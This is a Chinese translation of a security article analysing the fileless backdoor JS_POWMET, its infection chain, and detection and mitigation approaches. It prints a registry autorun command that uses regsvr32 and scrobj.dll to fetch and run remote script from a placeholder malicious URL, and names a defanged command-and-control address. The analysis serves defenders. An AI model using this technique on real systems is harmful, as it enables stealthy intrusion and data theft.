標籤:

踏雪無痕——對新型無文件後門 JS_POWMET 的簡單分析

由於高明的網路犯罪分子會在不留下痕迹的情況下進行攻擊,因此不留痕迹的惡意軟體將成為未來最常見的攻擊方法,而且這種苗頭已經開始顯現了。比如,今年6月,安全研究人員就發現了一個新的無文件勒索病毒, 被稱為「Sorebrect」,它將惡意代碼注入到目標系統的合法進程svchost.exe中, 然後自毀以躲避檢測。

然而,許多所謂的無文件惡意攻擊只是在進入用戶系統時才是無文件的,而在最終執行其有效載荷時還是會暴露自己,所以要想使用完全的無文件惡意軟體攻擊是很難辦到的。不過,隨著黑客技術的不斷提高,趨勢科技的研究人員最近還是發現了這麼一個完全無文件的惡意攻擊木馬,並將其命名為JS_POWMET(由趨勢科技檢測為JS_POWMET.DE)。JS_POWMET通過自動啟動註冊表程序開始攻擊,然後通過使用完全無文件的感染鏈完成整個攻擊過程,該過程及其隱蔽連專門進行安全分析的軟體工程師都難以察覺到。

趨勢科技雲安全智能防護網路(TrendMicro Smart Protection Network,SPN)的監測數據顯示,亞太地區是目前被JS_POWMET影響最多的地方,佔了整個感染總量的近90%。

攻擊細節

以下是JS_POWMET的整個感染過程:

雖然確切的感染方式目前仍然不確定,但根據推測,JS_POWMET很可能是在用戶訪問惡意網站時下載的,或者是偽裝成其他軟體被下載的。不過有一點是清楚地,下載的註冊表已經在下載時被更改了。

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunnCOM+ = 「regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll」n

通過自動啟動註冊表項(如上圖所示)下載JS_POWMET。

以下是「regsvr32」使用的參數說明:

/ s: regsvr32的靜默選項

/ n:告訴regsvr32不要使用DllRegisterServer

/ u :取消註冊伺服器/對象

/ i :用於將可選參數(即URL)傳遞給DLLinstall

scrobj.dll:Microsoft的腳本組件正在運行

通過這種方法,可以將一個URL作為參數賦予了regsvr32,這將使得regsvr32能夠獲取URL上找到的文件(XML與惡意JavaScript)。由於這個常式,regsvr32將能夠執行任意腳本,而不會在受害者的設備或系統上保存XML文件。特別是,當被攻擊的設備啟動時,它將自動從其Command&Control(C&C)伺服器下載惡意文件。

一旦JS_POWMET被執行,它將下載另一個稱為TROJ_PSINJECT的文件(由趨勢科技檢測為TROJ_PSINJECT.A)。該文件是在Powershell的過程下運行的Powershell腳本。 TROJ_PSINJECT將連接到以下網站:

hxxps://bogerando[.]ru/faviconn

這允許TROJ_PSINJECT下載一個名為favicon的普通文件,然後,使用ReflectivePELoader將該favicon文件解密並注入其進程,該ReflectivePELoader用於注入EXE / DLL文件。

要消除惡意軟體代碼,可以通過使用以下技術實現。首先,惡意軟體包含Base64字元串,它將使用RC4密鑰(硬編碼到惡意軟體代碼)進行解碼和解密。生成的解密字元串將是GZIP壓縮的字元串,該字元串由惡意軟體本身使用GZIP解壓縮常式進行解壓縮。這將導致ReflectivePELoader函數的代碼被用於載入解密的下載文件。

Favicon也將使用上述RC4密鑰進行解密,導致稱為BKDR_ANDROM(趨勢科技檢測為BKDR_ANDROM.ETIN)的惡意DLL文件的發生,這部分過程也是無文件的。該文件將不會保存到受害者的設備中,而是注入到powershell.exe進程中。所有這些常式將由使用PowerShell命令的惡意軟體執行。下圖就是顯示導致混淆過程的TROJ_PSINJECT代碼:

如果在系統中運行該文件,BKDR_ANDROM將會終止powershell.exe。另外還會收集以下數據:

硬碟序列號n操作系統版本n本地IP地址n管理員許可權n

惡意軟體會將註冊表項添加到系統中,以確保它始終在啟動過程中被執行。自動啟動註冊表項能夠解碼Base64編碼的PowerShell命令,該命令會被用於解密,產生BKDR_ANDROM的惡意代碼的加密二進位數據(在惡意軟體添加的註冊表中也能找到)。在解密過程之後,它將執行解密的惡意代碼。雖然這種情況下的最終有效載荷由BKDR_ANDROM的常規程序組成,但是未來的惡意軟體開發者可能會將其他惡意軟體用作有效載荷。

如何檢測無文件惡意軟體?

無痕迹攻擊已經成了未來攻擊者的主打方向,其中最常見的方法是使用被盜的憑據,這樣就可以偽裝成公司的員工或者是用戶來進行攻擊,即使時候被發現,也懷疑不到攻擊者頭上,因為那些攻擊行為全是員工或者是用戶「自己」乾的。攻擊者現在可以利用內置的管理工具,如Powershell和PSExec,這些管理工具是每台Windows設備的標準配置。

這個攻擊策略有很多種叫法,比如:

1.Process Hollowing,Process Hollowing是現代惡意軟體常用的一種進程創建技術,雖然在使用任務管理器之類的工具查看時,這些進程看起來是合法的,但是該進程的代碼實際上已被惡意內容所替代。

2.劫持進程

3.遠程代碼執行

這種隱形的攻擊對於竊取高價值的目標最有效,這與通過遠程訪問木馬(RAT)對低價值,不受監控的資產進行內部網路訪問是完全不同的。

在進行完前期的運行環境偵察後,攻擊者可能會使用漏洞利用工具包來獲取高價值資產。一旦找到攻擊目標,他們可以將命令和控制有效載荷(如Meterpreter)注入合法的運行過程,例如Service Host-svchost.exe。然後,攻擊者可以訪問可獲利的文件,繼續進行數據的過濾。這種攻擊的唯一痕迹存在於隨機存取存儲器(RAM)中,大多數殺毒和基於簽名的檢測方法都不能檢測到它們。事實上,如果目標重新啟動的話,所有的攻擊痕迹就都不復存在了。攻擊者可以隨時將預先布置的任務留在系統上,或通過不受監控的目標先重新進入網路,並逐漸傳播至關鍵目標。

識別無文件類型的攻擊行為是所有安全檢測工具的未來發展方向,本文我就舉一個rapid7開發的insightIDR檢測工具的例子,該團隊將CounterTack公司研發的Digital DNA (DDNA) 技術整合到他們的安全產品中,該產品能對所需的內存進行逐一分析。這使分析師能夠更深入地研究客戶端點上的不同層次,並識別具有意想不到的功能的進程。

使用Process Memory Analyzer,每個運行的進程都被可能被作為可疑功能被分析。如果進程執行可疑行為(如註冊代碼)或通過校驗和查找導入的函數,都會被標記,並可以添加到InsightIDR中的調查時間表。在上圖中,你會注意到,該功能將進程按風險排列,因此很容易挑出可能是Process Hollowing的異常進程。

總結

雖然JS_POWMET及其下載的其他文件在影響方面相對不是很嚴重,但是這種惡意軟體的出現已經表明,網路犯罪分子將會盡一切可能避免被檢測和分析。它還表明,即使不常見的無病毒惡意軟體的感染方法也在不斷發展。

緩解無病毒惡意軟體影響的最有效的方法之一是通過基於容器的系統來限制對關鍵基礎設施的訪問,這些系統將端點與網路的最重要部分分開。對於這種特定的惡意軟體,IT專業人員還可以查看禁用Powershell本身來幫助減輕JS_POWMET及其各種有效載荷的影響。

本文翻譯自:How Do You Identify Zero-Days and Fileless Malw... ,如若轉載,請註明來源於嘶吼:踏雪無痕--對新型無文件後門 JS_POWMET 的簡單分析 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

Worthwhile BurpSuite Plugins
昨晚 那個曾經披露我國網軍信息的網路安全公司被黑了 頭像還被改成了屁股
那些年病毒用過的損招——攻擊反彙編
利用SAP 0day,四分鐘內黑掉華爾街

TAG:信息安全 |